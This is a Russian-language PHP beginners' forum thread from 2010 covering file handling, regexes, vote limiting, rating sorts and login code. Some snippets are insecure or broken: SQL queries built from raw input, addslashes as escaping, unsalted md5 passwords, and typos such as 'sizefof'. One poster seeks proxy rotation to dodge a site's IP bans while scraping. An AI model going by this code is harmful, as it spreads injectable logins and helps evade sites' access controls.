fwrite($f,$row);
fclose($f);
Перед запись файл надо открыть
Перед запись файл надо открыть
Забыл... Но проблема осталась.
Warning: implode() [function.implode]: Bad arguments. in Z:\home\localhost\www\test.php on line 15
Вылетает ошибка и в итоге файл становится пустым.
$file_log = "login.txt";//файл где ищу
$login='vasya';//что ищу
$array=file($file_log);
$c = count($array);
for($i = 0; $i < $c; $i++)
{
if(trim($array[$i])== $login)
unset($array[$i]);
}
$row=implode("\r\n",$array);
$f = fopen($file_log, 'w'); // Открываем файл
fwrite($f,$row);
Всё понял =)) Спасиб! Только концовку переправить надо, а то пустые строки остаются:
.....
$fp=fopen($file_log,"w+");
fputs($fp,implode("",$array));
fclose($fp);
........
сорри за оффтоп..
а кто подскажет в какой проге лучше писать на Php?
Кому как удобно, мне к примеру в phpDesigner 7 удобно работать. Но есть минус - нет функции сворачивания блоков кода (классы, условия, функции)
Я Notepad++ пользуюсь ,например , вполне удобно .
[']Я Notepad++ пользуюсь ,например , вполне удобно .
А как насчет ООП ? Он не парсит классы, и приинклуднутые файлы же ? Я не заметил етих удобств в нем.
.::BARS::.
25.01.2010, 10:53
Geany - очень устраивает.....
а раньше был np++ , но теперь он на пенсии =)))
Alexander123
25.01.2010, 15:45
Помогите написать(дайте материалы) по созданию пхп скрипта который при подключении к инету компьютера отправляет айпи компа на нужную мне почту!!!!!!!!!
айпи меняется ежедневно!!!!!!!!!
У меня есть скрипт который проверяет онлайн ли машиа на введенном порте и ип
Но данный скрипт сильно тормозит весь сайт
Может есть решение быстрее это сделать?
function ping($ip,$port){
$fp = @fsockopen($ip, $port, &$errno, &$errstr, 2);
if($fp >= 1){$online = '1';}else{$online = '0';}
return $online;
}
1.как на php или на javascript вывести на страничке кол-во файлов из заданной папки.
2. и тоже самое, только например, кол-во фалов формата JPG, из заданной папки
$dir = scandir('folder'); // Сканируем папку
unset($dir[0]); unset($dir[1]); // Удаляем точки
echo 'In folder '.(sizeof($dir)).' files<br>'; // Выводим
for($i=2; $i<sizefof($dir); $i++)
if(strcmp(substr($dir[$i], -4), '.jpg') != 0) unset($dir[$i]); // Фильтруем
echo 'In folder '.(sizeof($dir)).' JPG files<br>'; // Выводим то что осталось после фильтра
Alexander123
25.01.2010, 17:40
хэлп ... когда пользователь включает инет скрипт должен незаметно зайти на сайт например 2ip.ru и отправить на почту айпи который находится на сайте... это возможно???Желательно пхп
Alexander123
причем тут пхп скрипт как ты себе представляеш это???
разве что жабаскрипт который посылает данные при заходе на страничку к хосту где лежыт твой пхп скрипт а тот в свою очередь на ящик ...
Заходим на www.whatismyip.com, парсим Ip.
Потом через smtp, например майла, отправляем сами себе письмо с этим IP.
Пихаем в крон и выполняем каждые 5 минут.
<?php
$file = file_get_contents('http://www.whatismyip.ru/');
preg_match('#^([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)$#m',$file,$matches);
$my_ip = $matches[1];
$my_email = 'not@for.spam';
mail($my_email,'My IP',$my_ip);
?>
Это без настройки smtp майла.
namak
<?php
//1.как на php или на javascript вывести на страничке кол-во файлов из заданной папки.
$dir = 'C:\\'; // Windows
//$dir = '/root'; // Linux
$files = scandir($dir);
echo "Count files in $dir - ".count($files)."<br/>".chr(10);
//2. и тоже самое, только например, кол-во фалов формата JPG, из заданной папки
$count_jpg = 0;
foreach($files as $file)
if(strtolower(substr($file,-3,3)) == 'jpg' or strtolower(substr($file,-3,3)) == 'jpeg') $count_jpg++;
echo "Count *. jpg files in $dir - ".$count_jpg."<br/>".chr(10);
?>
У меня есть скрипт который проверяет онлайн ли машиа на введенном порте и ип
Но данный скрипт сильно тормозит весь сайт
Может есть решение быстрее это сделать?
function ping($ip,$port){
$fp = @fsockopen($ip, $port, &$errno, &$errstr, 2);
if($fp >= 1){$online = '1';}else{$online = '0';}
return $online;
}
По моему это самое быстрое решение, ИМХО. Таймаут понизь, что бы не ждать, если сервер не отвечает.
Можно запихнуть в крон и сделать, что бы он записывал в файл, каждую минуту, статус сервера, status.txt.
А основной скрипт, просто будет читать этот файл. Это снизит нагрузку на сервер и он каждый раз не будет отправлять запрос.
Но тогда статус сервера мы будем получать с задержкой в одну минуту.
Alexander123
25.01.2010, 18:03
Пихаем в крон и выполняем каждые 5 минут..... парсим Ip....
кто имеет представление что это такое?????????
$dir = scandir('folder'); // Сканируем папку
unset($dir[0]); unset($dir[1]); // Удаляем точки
echo 'In folder '.(sizeof($dir)).' files<br>'; // Выводим
for($i=2; $i<sizefof($dir); $i++)
if(strcmp(substr($dir[$i], -4), '.jpg') != 0) unset($dir[$i]); // Фильтруем
echo 'In folder '.(sizeof($dir)).' JPG files<br>'; // Выводим то что осталось после фильтра
это мне больше понравилось,
но надо for($i=2; $i<sizeof($dir); $i++) а не for($i=2; $i<sizefof($dir); $i++)
и ко второй части с jpg все норм работает и считает правильно
по аналогии изменил на gif и еще на png, и к ним выводятся числа одинаковые, и не правильные.
не смог решить проблему эту
это мне больше понравилось,
но надо for($i=2; $i<sizeof($dir); $i++) а не for($i=2; $i<sizefof($dir); $i++)
и ко второй части с jpg все норм работает и считает правильно
по аналогии изменил на gif и еще на png, и к ним выводятся числа одинаковые, и не правильные.
не смог решить проблему эту
Если ты добавляешь png и gif, то скрипт должен выглядеть так
$sdir = scandir('folder'); // Сканируем папку
unset($sdir[0]); unset($sdir[1]); // Удаляем точки
echo 'In folder '.(sizeof($sdir)).' files<br>'; // Выводим
$dir = $sdir;
for($i=2; $i<sizefo($sdir); $i++)
if(strcmp(substr($dir[$i], -4), '.jpg') != 0) unset($dir[$i]); // Фильтруем
echo 'In folder '.(sizeof($dir)).' JPG files<br>'; // Выводим то что осталось после фильтра
$dir = $sdir;
for($i=2; $i<sizefo($sdir); $i++)
if(strcmp(substr($dir[$i], -4), '.gif') != 0) unset($dir[$i]); // Фильтруем
echo 'In folder '.(sizeof($dir)).' GIF files<br>'; // Выводим то что осталось после фильтра
$dir = $sdir;
for($i=2; $i<sizefo($sdir); $i++)
if(strcmp(substr($dir[$i], -4), '.png') != 0) unset($dir[$i]); // Фильтруем
echo 'In folder '.(sizeof($dir)).' PNG files<br>'; // Выводим то что осталось после фильтра
Доброго времени суток.
Долго искал в поисковиках, находил сплошной бред. Хочу замутить такую фигню, как вывод html-страниц посредством PHP. В самом деле на первый взгляд фигня, потому что работать будет без MySQL.
Конкретно, имеются несколько директорий, в каждой имеются субдиректории и 10-20 файлов. Необходимо организовать скрипт таким образом, чтобы при переходе по меню, html-файл выводился в центре страницы, с сохранением шапки, меню, подвала.
Слепил нечто подобное с применением SSI, но хочется попробовать, как получится на PHP.
Вот примерно такая схема:
http://s005.radikal.ru/i211/1001/25/d542e70ea6act.jpg (http://radikal.ru/F/s005.radikal.ru/i211/1001/25/d542e70ea6ac.jpg.html)
Так делай инклуд по параметру в индексе, а хэдер и футер сделай статичным.
Айн момент
header.php
<HTML>
<HEAD> <TITLE>Пробный двиг PHP</TITLE>
<META http-equiv="Content-Type" content="text/html; charset=windows-1251">
<META http-equiv="Content-Language" content="ru"> </HEAD>
<BODY>
<H2>Пробный двиг PHP</H2>
<TABLE width="100%"><TR> <TD width="17%" valign="top"> <BR> <BR> <P><a href="index.php">Раздел 1</a> <P><a href="section2.php">Раздел 2</a> <P><a href="section3.php">Раздел 3</a> <P><a href="section4.php">Раздел 4</a> </TD>
_______________
footer.php
<BR> <BR>
</BODY>
</HTML>
_______________
index.php
<? include("header.php"); //подключаю верх ?>
<TD width="83%" valign="top"> <CENTER> <H2>Раздел1. Главная страница</H2>
</CENTER> <!------- Ввожу текст --------> <P>
</TD> </TR> </TABLE> <? include("footer.php"); //подключаю подвал ?>
_______________
section2.php
<? include("header.php"); //подключаю верх ?>
<TD width="83%" valign="top">
<CENTER><H2>Раздел 2</H2> </CENTER>
<!------- Ввожу текст, ссылки --------> <P> </TD> </TR> </TABLE>
<? include("footer.php"); //подключаю подвал ?>
.... и так далее.
После пары бутылей пива получилось. Но остается одна проблема, и как начинающий не могу ее решить, а именно:
Вышеприведенным методом получается вывести html-файлы, если они хранятся в корневой директории (например, "site.com/file.php"). Но когда ставлю ссылку на файл, хранящийся в поддиректории, допустим "site.com/subfolder/file.php", выводится ошибка:
Warning: include(header.php) [function.include]: failed to open stream: No such file or directory in Z:\home\localhost\www\phtml\new\section7.php on line 2 Warning: include() [function.include]: Failed opening 'header.php' for inclusion (include_path='.;/usr/local/php5/PEAR') in Z:\home\localhost\www\phtml\new\section7.php on line 2
Выводится центр страницы, но header и footer пропадают. Думал что можно бы решить задачу, добавив в инклуд путь файла:
<? include("../header.php");
?>
Однако возникает новая проблема, в навигации. То есть со страницы назад не попадешь, потому что URL выдается криво, в него автоматически попадает тот самый subfolder. Например, site.com/subfolder/файл главной страницы.
Кстати, та же проблема получается в варианте с SSI, такой же вариант я попытался замутить на SSI
Помогите с preg_match()
нужно из строки e-mail: <a href="mailto:mail@inbox.ru">mail@inbox.ru</a><br> выдрать mail@inbox.ru
пишу: preg_match("#e-mail: <a href=\"mailto: *\">(.*?)</a><br>#", $answer, $out); но не работает :(
А так не пойдет?
preg_match("#mailto\:(.*?)\"#", $answer, $out);
+casper+
27.01.2010, 17:26
Хм. С поиска... Разве что с определенных сайтов, а с поиском будет посложней. Опиши поконкретней, тебе скрипт полностью автоматический или как?
можно занести исходный код чужого сайта себе в переменную?если да то как это сделать?
можно занести исходный код чужого сайта себе в переменную?если да то как это сделать?
да можно
$file = file_get_contents("http://site.ru/");
только это уже код который сервер выдает после обработки
и свой вопрос, делаю голосование, надо что бы один человек только один раз в день делал , по ip проверяю, но надо еще как то, что лучше куки закидывать или сессии создавать ? (кстати кто с телефона выходит у них ip статический???)
superboy4
28.01.2010, 11:46
Добавляй идентификатор сессии юзера в таблицу голосов, я так с рейтингами делаю
Добавляй идентификатор сессии юзера в таблицу голосов, я так с рейтингами делаю
сессии же хранятся на сервере, а надо что бы на компе юзера что то оставлялась что ты с другого ип не зашел и не проголосовал для этого не лучше куки ?
кто с телефона выходит у них ip статический???
superboy4
28.01.2010, 12:21
Ты делаешь регистрацию, систему входа/выхода с ресурса, допустим пользователь вошёл,то он получил сессию, дальше ему нужно проголосовать за кого-то, так вот при голосовании в таблицу голосов(votes) добавиться его идентификатор,который уникален для каждого пользователя, в дальнейшем просто проверяешь -- голосавал ли пользователем с таким ID или нет, если нет, то соответственно в таблице голосов не будет идентификатора этого пользователя, для какого то конкретного пользователя, за кого он голосует
К примеру схема votes
id, user_id, vote, voteable
здесь voteable(оцениваемый чел) - идентификатор юзера которого мы оцениваем, user_id - идентификатор того, кто оценивает даного пользователя(voteable)
голосование без регистрации, если бы с регистрацией было то другое дело.
корочн говоря мне надо просто в какую то переменную на компе пользователя создавать переменную где будет храниться дата последного голосования
superboy4
28.01.2010, 12:30
голосование без регистрации, если бы с регистрацией было то другое дело
значит, 100 процентов не по IP, т.к. он динамический, достаточно разорвать соединение и снова создать, в результате можно снова проголосовать.
Что касается в установке cookie! Ведь их можно почистить в браузере, что тоже не решение.
ещё есть метод по железу. Но это геморрой.
setcookie ("TestCookie", "data()",time()+24*3600);
$dat = $_COOKIE["TestCookie"];
от так решил делать
Как можно найти в файле требуемое слово(полностью)??
Пример:
файл -
111222
7111222
1112223
нужно узнать есть ли в нем строка 111222 ?? и чтобы он 7111222 и 1112223 не под наш поиск.
тобишь нужен поиск слова целиком.
Как можно найти в файле требуемое слово(полностью)??
Пример:
файл -
111222
7111222
1112223
нужно узнать есть ли в нем строка 111222 ?? и чтобы он 7111222 и 1112223 не под наш поиск.
тобишь нужен поиск слова целиком.
я бы реализовал так:
$filename = 'myfile.txt';
$filearray = file($filename);
foreach($filearray as $temdata => $linedata) {
if (preg_match('/^111222$/i', trim($linedata))) {echo 'Match succefuly! :)'; break;}
}
Возможно есть реализация проще :)
Deathdreams
28.01.2010, 15:45
svesve : Как можно найти в файле требуемое слово(полностью)??
$file = file('file.txt');
$fstr = ""; // кого найти?
if(in_array($fstr, array_map('trim', $file)) die('Строка найдена');
я бы реализовал так:
$filename = 'myfile.txt';
$filearray = file($filename);
foreach($filearray as $temdata => $linedata) {
if (preg_match('/^111222$/i', trim($linedata))) {echo 'Match succefuly! :)'; break;}
}
Возможно есть реализация проще :)
а если строка "123 123 111222 312"? твой вариант не будет работать
svesve : Как можно найти в файле требуемое слово(полностью)??
$file = file('file.txt');
$fstr = ""; // кого найти?
if(in_array($fstr, array_map('trim', $file)) die('Строка найдена');
для чего трим?
--
обходи циклом, проверяй регуляркой обрамив нужное слово \b
пример из документации
<?php
/* The \b in the pattern indicates a word boundary, so only the distinct
* word "web" is matched, and not a word partial like "webbing" or "cobweb" */
if (preg_match("/\bweb\b/i", "PHP is the web scripting language of choice.")) {
echo "A match was found.";
} else {
echo "A match was not found.";
}
if (preg_match("/\bweb\b/i", "PHP is the website scripting language of choice.")) {
echo "A match was found.";
} else {
echo "A match was not found.";
}
?>
голосование без регистрации, если бы с регистрацией было то другое дело.
корочн говоря мне надо просто в какую то переменную на компе пользователя создавать переменную где будет храниться дата последного голосования
индентифицируй пользователя по оси, браузеру, разрешению экрана и кукам. этого должно хватить ;)
можно занести исходный код чужого сайта себе в переменную?если да то как это сделать?
curl, fopen, file_get_contents, fsockopen
Deathdreams
28.01.2010, 16:19
а если строка "123 123 111222 312"? твой вариант не будет работать
для чего трим?
--
обходи циклом, проверяй регуляркой обрамив нужное слово \b
пример из документации
<?php
/* The \b in the pattern indicates a word boundary, so only the distinct
* word "web" is matched, and not a word partial like "webbing" or "cobweb" */
if (preg_match("/\bweb\b/i", "PHP is the web scripting language of choice.")) {
echo "A match was found.";
} else {
echo "A match was not found.";
}
if (preg_match("/\bweb\b/i", "PHP is the website scripting language of choice.")) {
echo "A match was found.";
} else {
echo "A match was not found.";
}
?>
Твой вариант не верен, т.к. в строке могут быть лишние символы.
Мой вариант правильный, в данной ситуации.
Трим, т.к. строки в файле бывают с ненужными пробелами по бокам записаны, трим для перестраховки
почему мой вариант не верен?
Deathdreams
28.01.2010, 18:06
почему мой вариант не верен?
Твой вариант не верен, т.к. в строке могут быть лишние символы.
svesve просит, чтобы совпадала полностью строка, а не чтобы это слово было частью строки
ты делаешь трим, удаляешь лишние пробелы, пробелы тоже символы )
Deathdreams
28.01.2010, 18:13
ты делаешь трим, удаляешь лишние пробелы, пробелы тоже символы )
лол
imajo.ati
28.01.2010, 18:14
ты делаешь трим, удаляешь лишние пробелы, пробелы тоже символы )
перенос строки и возват каретки тоже символы. нуждающийся наверняка имел ввиду непечатные символы
спасибо всем уже решил задачу )
Народ,как сделать вывод текста из бд по рейтингу..
Да вообще --- как сделать этот рейтинг?
Вот я сделал страницу,на ней всё есть(рега\вход\выход\куки)
при регистрации создаётся файл с новым именем(именем юзера), а вообще --- пишется файл,типа :
all.dat
в нём:
Имя|0
Имя|1
Имя|2
Ну вот,а надо сделать что-то типа:
Имя|0|Рейтинг:80%
Имя|1|Рейтинг:10%
Имя|2|Рейтинг:10%
А если регнется новый,то:
Имя|0|Рейтинг:70%
Имя|1|Рейтинг:10%
Имя|2|Рейтинг:10%
Имя|3|Рейтинг:10%
А если кто-то повысит рейтинг,то,например,так:
Имя|0|Рейтинг:50%
Имя|1|Рейтинг:20%
Имя|2|Рейтинг:20%
Имя|3|Рейтинг:10%
И самое главное:
Вывод инфы:
Допустим файл содержит:
Имя|4|Рейтинг:50%
Имя|1|Рейтинг:20%
Имя|2|Рейтинг:20%
Имя|3|Рейтинг:10%
Тогда вывод:
Имя|4|Рейтинг:50%
Имя|1|Рейтинг:20%
Имя|2|Рейтинг:20%
Имя|3|Рейтинг:10% --- не активен,модератор удали его!
Вопрос: как это организовать?
Если надо --- выложу скрипт...
сохраняй, например, так
Имя|0|80
а при чтении, если юзеров не много, загоняй все массив и сортируй (http://php.net/manual/en/array.sorting.php) по рейтингу.
Как можно найти в файле требуемое слово(полностью)??
Пример:
файл -
111222
7111222
1112223
нужно узнать есть ли в нем строка 111222 ?? и чтобы он 7111222 и 1112223 не под наш поиск.
тобишь нужен поиск слова целиком.
Вот например у тебя
npimer.txt,а в нём:
7111222
111222
Надо найти 111222 или проверить - есть ли она вообще?
Вот код:
$ischem="111222";
$TBoi_fail = "npimer.txt";
$massiv = @file($TBoi_fail);
$lines = count($massiv);
for ( $i = 0; $i <= $lines; $i++ ){
list($chislo,$chislo2)=explode(' ', $massiv[$i]);
if($ischem==$chislo){ Exit("Найдено совпадение!<BR>Искали:$ischem<BR>Найдено:$chislo }
if($i==$lines){ die("Совпадений нет!"); }
}
В данном случае появится:
Найдено совпадение!
Искали:111222
Найдено:111222
Народ,как сделать вывод текста из бд по рейтингу..
Да вообще --- как сделать этот рейтинг?
Вот я сделал страницу,на ней всё есть(рега\вход\выход\куки)
при регистрации создаётся файл с новым именем(именем юзера), а вообще --- пишется файл,типа :
all.dat
в нём:
Имя|0
Имя|1
Имя|2
Ну вот,а надо сделать что-то типа:
Имя|0|Рейтинг:80%
Имя|1|Рейтинг:10%
Имя|2|Рейтинг:10%
А если регнется новый,то:
Имя|0|Рейтинг:70%
Имя|1|Рейтинг:10%
Имя|2|Рейтинг:10%
Имя|3|Рейтинг:10%
А если кто-то повысит рейтинг,то,например,так:
Имя|0|Рейтинг:50%
Имя|1|Рейтинг:20%
Имя|2|Рейтинг:20%
Имя|3|Рейтинг:10%
И самое главное:
Вывод инфы:
Допустим файл содержит:
Имя|4|Рейтинг:50%
Имя|1|Рейтинг:20%
Имя|2|Рейтинг:20%
Имя|3|Рейтинг:10%
Тогда вывод:
Имя|4|Рейтинг:50%
Имя|1|Рейтинг:20%
Имя|2|Рейтинг:20%
Имя|3|Рейтинг:10% --- не активен,модератор удали его!
Вопрос: как это организовать?
Если надо --- выложу скрипт...
сортировка, например, такая:
<?php
$f = file("users.dat");
$users = Array();
for ($i=0; $i<count($f); $i++)
{
$users[] = explode('|', $f[$i]);
settype($users[$i][2], int);
}
function cmp($a, $b)
{
if ($a[2] == $b[2]) {
return 0;
}
return ($a[2] < $b[2]) ? -1 : 1;
}
usort($users, "cmp");
print_r($users);
?>
файл users.dat
a|0|1
aa|12|100
bvn|42|3
рейтинг - третий элемент, то есть это будут 1, 100 и 3
imajo.ati
29.01.2010, 00:06
Народ,как сделать вывод текста из бд по рейтингу..
SELECT `NAME`,`ID`,`RATING` FROM `users` WHERE `BANNED`!=1 ORDER BY `RATING` DESC;
Да нет же,я на файлах люблю делать
Да нет же,я на файлах люблю делать
Извращенец.
Переделал скрипт,но не пойму принцип работы,хотя написал сам...
<?php
$f ="clans/all.dat";
$general = @file($f);
$lines = count($general);
for ( $i = 0; $i <= $lines; $i++ ){
list($nenado,$nenado2,$nado)=explode('|', $general[$i]);
if($nado < '100'){ break; }
if($nado > ($lines / 100 * $nado)){ echo "<table width=100% cellpadding=2 cellspacing=1 class=forumline>
<tr>
<th width=62% colspan=2 class=thCornerL height=25 nowrap=nowrap>\"$nado\"</th>
<th width=28% class=thCornerR nowrap=nowrap>s</th>
</tr>"; }
if($i==$lines){ $dont_registr = 'yes'; }
}
?>
Вот он и выводит
"80 " s
"20 " s
А куда 3й делася?
Я брал 3 строки,появилось 2 :(
imajo.ati
29.01.2010, 16:06
Переделал скрипт,но не пойму принцип работы,хотя написал сам...
<?php ?>
Вот он и выводит
"80 " s
"20 " s
А куда 3й делася?
Я брал 3 строки,появилось 2 :(
попробуй добавить обработчики исключений рядом с break
как-нибудь так:
<?php
$f = "clans/all.dat";
$general = @file($f);
$lines = count($general);
for ( $i=0; $i<$lines; $i++ ) {
list($nenado,$nenado2,$nado)=explode('|', $general[$i]);
if( (int)$nado < 100 ){
echo 'Остановилось, потому что $nado меньше 100<br>';
break;
}
else if( $nado > ($lines / 100 * $nado) ) {
echo "<table width=100% cellpadding=2 cellspacing=1 class=forumline>
<tr>
<th width=62% colspan=2 class=thCornerL height=25 nowrap=nowrap>\"$nado\"</th>
<th width=28% class=thCornerR nowrap=nowrap>s</th>
</tr>";
}
else {
echo '$nado не вывелось потому что $nado больше чем ($lines/100*$nado)<br>';
}
if($i==$lines) { $dont_registr = 'yes'; }
}
Мне не надо остановку,мне надо просто вывести список по рейтингу..
Весь,а вот если рейтинг равен 10(у новых записей так стандартно),то выводится токо первая запись(
Banderos_Russia
29.01.2010, 22:28
Подскажите скрипт, который не позволяет нажать на ссылку пока не нажмешь по другой ссылке. Пример: ссылка на скачивание "Скачать", когда на неё нажимаешь, появляется окно в котором нужно обязательно нажать на ссылку, тогда ссылка "Скачать" начинает перенаправлять куда нужно. Вот как то так)
TDKronuS
30.01.2010, 01:59
Banderos_Russia, а почему бы не сделать, что бы в этом новом окне и была ссылка на реальное "Скачать"?
Vlad&slav
30.01.2010, 03:14
мб тупой вопрос, но если есть допустим слово q1w2e3r4 и нужно перевести его в масссив так чтобы каждая буква стала элементом масссива попорядку?
мб тупой вопрос, но если есть допустим слово q1w2e3r4 и нужно перевести его в масссив так чтобы каждая буква стала элементом масссива попорядку?
строка это уже и есть как бы массив:
echo $str[0];
или же можно так.
echo '<pre>';
$str='q1w2e3r4';
$str=str_split($str);
print_r($str);
echo '</pre>';
нужна функция крторая вытащит из переменной строку по шаблону(например чтоб ватаскивал строку которая начинаяться с 123).
нужна функция крторая вытащит из переменной строку по шаблону(например чтоб ватаскивал строку которая начинаяться с 123).
регулярные выражения?
if (preg_match('/^123(.*)/i', $mystring, $match)) {echo 'Строка начинающаяся с 123: '.$match[0];}
как то так.
Нужна помощь с рандомным перебором проксей, вот исхордный код
$match='#https?://([^/\s]+)\S+#i';
preg_match_all($match, $_POST['urls'], $matches);
$matches = array_values(array_combine($matches[1],$matches[0]));
$mh = curl_multi_init(); //Create multithread
$handles = array();
$useragent="Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1"; // set user agent
//File with proxies to array
$proxyarr = file('http://localhost/checkproxy/proxies.txt', FILE_IGNORE_NEW_LINES);
//echo $proxyarr[array_rand($proxyarr, 1)]."<br>";
for ($i=0; $i<sizeof($matches);$i++) {
//Create URL
$request = 'someurl';
// create a new single curl handle
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $request);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 600);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
// add this handle to the multi handle
curl_multi_add_handle($mh,$ch);
// put the handles in an array to loop this later on
$handles[] = $ch;
}
// execute the multi handle
$running=null;
do {
curl_multi_exec($mh,$running);
// added a usleep for 0.25 seconds to reduce load
usleep (25000);
} while ($running > 0);
// get the content of the urls (if there is any)
for($i=0;$i<count($handles);$i++) {
$output = unserialize(curl_multi_getcontent($handles[$i]));
//ban check
if (!isset($output[ResultSet][totalResultsAvailable])) {
echo "<b>BAN</b><br>";
echo "$request";
exit(0);
}
$result[$matches[$i]]=$output[ResultSet][totalResultsAvailable];
curl_multi_remove_handle($mh,$handles[$i]);
}
Скрипт ходит по http и дергает URL, который отдает ему массив.
Но сам ресурс имеет свойство периодически банить по IP, для этого и нужны прокси.
Я бы с удовольствием воткнул в цикл for($i=0;$i<count($handles);$i++) нечто вроде curl_setopt($ch, CURLOPT_PROXY, $proxyarr[array_rand($proxyarr, 1)]); и у меня даеже есть проверка на бан if (!isset($output[ResultSet][totalResultsAvailable])) но как сделать так, чтобы в случае бана он сделал для этого же урл новую итерацию забора контента, но уже с новой рандомной проксей из того же массива $proxyarr? Стоит также учесть тот момент, что на следующей прокси результата тоже может не быть и прокси надо перебирать до победного.
Я сам вижу лишь вариант в добавлением неуспешных элементов(урлов) в спец массив и повторным прогоном их с рандомными проксям, но решение кривовато.
mailbrush
30.01.2010, 10:42
Подскажите скрипт, который не позволяет нажать на ссылку пока не нажмешь по другой ссылке. Пример: ссылка на скачивание "Скачать", когда на неё нажимаешь, появляется окно в котором нужно обязательно нажать на ссылку, тогда ссылка "Скачать" начинает перенаправлять куда нужно. Вот как то так)
Это JS. Делаешь кнопку disabled, а в событии onClick ссылки делаешь кнопку enabled :)
Banderos_Russia
Вот пример с кнопкой,если надо примерно так же и с ссылкой будет:
<input type="checkbox" name="test" onclick="document.form.submit.disabled=false;" value="0">
<input type="submit" name="submit" disabled value="Example" />
-=-
Мне тоже нужна помощь,в общем делаю авторизацию/регистрацию
С регистрацией,все на ура,но вот с авторизацией проблема в частности с тем,что не получается проверить валидность пароля
Вот такой у меня код:
<?php
include("uconfig.php");
if(!isset($_POST['usubmit']))
{
$ustatus='<font color="red">Форма входа пользователей</font>';
}
else
{
$login=$_POST['ulogin'];
$password=md5($_POST['upassword']);
$result = mysql_query("SELECT * FROM user WHERE login = $login");
$users = mysql_num_rows($result);
while($row = mysql_fetch_array($result)) {
$mpassword=$row['password'];
echo $mpassword;
}
}
?>
В uconfig.php подключение к mysql и еще мелкие опции
Может кто-нибудь сможет подкинуть свою часть авторизации,именно выдирание из мускула и сравнение
<?php
include("uconfig.php");
if(!isset($_POST['usubmit']))
{
$ustatus='<font color="red">Форма входа пользователей</font>';
}
else
{
$login=addslashes($_POST['ulogin']);
$password=md5($_POST['upassword']);
$result = mysql_query("SELECT * FROM user WHERE login = '$login'");
//$users = mysql_num_rows($result); нафига ?
while($row = mysql_fetch_array($result)) {
if($password === $row['password']){
echo 'true';
}
}
}
<?php
include("uconfig.php");
if(!isset($_POST['usubmit'])){
$ustatus='<font color="red">Форма входа пользователей</font>';
}else{
$login=addslashes($_POST['ulogin']);
$password=md5($_POST['upassword']);
$result = mysql_query("SELECT * FROM user WHERE login = '$login' and password = '$password'");
if($row = mysql_fetch_array($result)){
echo 'true';
}else{
echo 'false';
}
}
?>
$file = "222
333
444
555
<111 safgsdfhf sghsdfgjdfjjf";
if (preg_match('/^<111(.*)/', $file, $match))
{echo $match[0];}
else{не работает(((}
нужно вывести твлько строку(всю) которая начинается с 111
но выводит"не работает"...поскажите плиз в чём дело...
$file = "222
333
444
555
<111 safgsdfhf sghsdfgjdfjjf";
if (preg_match('/^<111(.*)/', $file, $match))
{echo $match[0];}
else{не работает(((}
нужно вывести твлько строку(всю) которая начинается с 111
но выводит"не работает"...поскажите плиз в чём дело...
попробуй так:
<?php
$file = "222\n333\n444\n555\n<111 safgsdfhf sghsdfgjdfjjf";
if (preg_match('/^\<111(.*?)$/im', $file, $match))
{echo $match[0];} else {echo 'не работает(((';}
?>
GlooK я плохо объяснил((
в переменную $file приходит куча разных строк
надо записать в переменную строку ,которая начинается с шаблона например 111(111 будет заменяться переменной и изменяться).
GlooK я плохо объяснил((
в переменную $file приходит куча разных строк
надо записать в переменную строку ,которая начинается с шаблона например 111(111 будет заменяться переменной и изменяться).
Так?
<?php
$file = "222\n333\n444\n555\n<111 safgsdfhf sghsdfgjdfjjf";
$template = "<111";
$replace = "after template";
$result = preg_replace('/^'.preg_quote($template).'(.*?)$/im', preg_quote($replace), $file);
echo $result;
?>
или так:)
<?php
$file = "222\n333\n444\n555\n<111 safgsdfhf sghsdfgjdfjjf";
$template = "<111";
if (preg_match('/^'.preg_quote($template).'(.*?)$/im', $file, $match))
{echo $match[0];} else {echo 'не работает(((';}
?>
GlooK блин...дико извеняюсь...первый вариант подходит...не так понял тебя)
1 - href=" ./111/22/qwert.php (приходит такой и изменять нельзя)
2 - href="http://rrr.ru/111/22/qwert.php"
как из первого сделать второй?т.е. вместо . подставить http://rrr.ru ?
Нужна помощь с рандомным перебором проксей, вот исхордный код
$match='#https?://([^/\s]+)\S+#i';
preg_match_all($match, $_POST['urls'], $matches);
$matches = array_values(array_combine($matches[1],$matches[0]));
$mh = curl_multi_init(); //Create multithread
$handles = array();
$useragent="Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1"; // set user agent
//File with proxies to array
$proxyarr = file('http://localhost/checkproxy/proxies.txt', FILE_IGNORE_NEW_LINES);
//echo $proxyarr[array_rand($proxyarr, 1)]."<br>";
for ($i=0; $i<sizeof($matches);$i++) {
//Create URL
$request = 'someurl';
// create a new single curl handle
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $request);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 600);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
// add this handle to the multi handle
curl_multi_add_handle($mh,$ch);
// put the handles in an array to loop this later on
$handles[] = $ch;
}
// execute the multi handle
$running=null;
do {
curl_multi_exec($mh,$running);
// added a usleep for 0.25 seconds to reduce load
usleep (25000);
} while ($running > 0);
// get the content of the urls (if there is any)
for($i=0;$i<count($handles);$i++) {
$output = unserialize(curl_multi_getcontent($handles[$i]));
//ban check
if (!isset($output[ResultSet][totalResultsAvailable])) {
echo "<b>BAN</b><br>";
echo "$request";
exit(0);
}
$result[$matches[$i]]=$output[ResultSet][totalResultsAvailable];
curl_multi_remove_handle($mh,$handles[$i]);
}
Скрипт ходит по http и дергает URL, который отдает ему массив.
Но сам ресурс имеет свойство периодически банить по IP, для этого и нужны прокси.
Я бы с удовольствием воткнул в цикл for($i=0;$i<count($handles);$i++) нечто вроде curl_setopt($ch, CURLOPT_PROXY, $proxyarr[array_rand($proxyarr, 1)]); и у меня даеже есть проверка на бан if (!isset($output[ResultSet][totalResultsAvailable])) но как сделать так, чтобы в случае бана он сделал для этого же урл новую итерацию забора контента, но уже с новой рандомной проксей из того же массива $proxyarr? Стоит также учесть тот момент, что на следующей прокси результата тоже может не быть и прокси надо перебирать до победного.
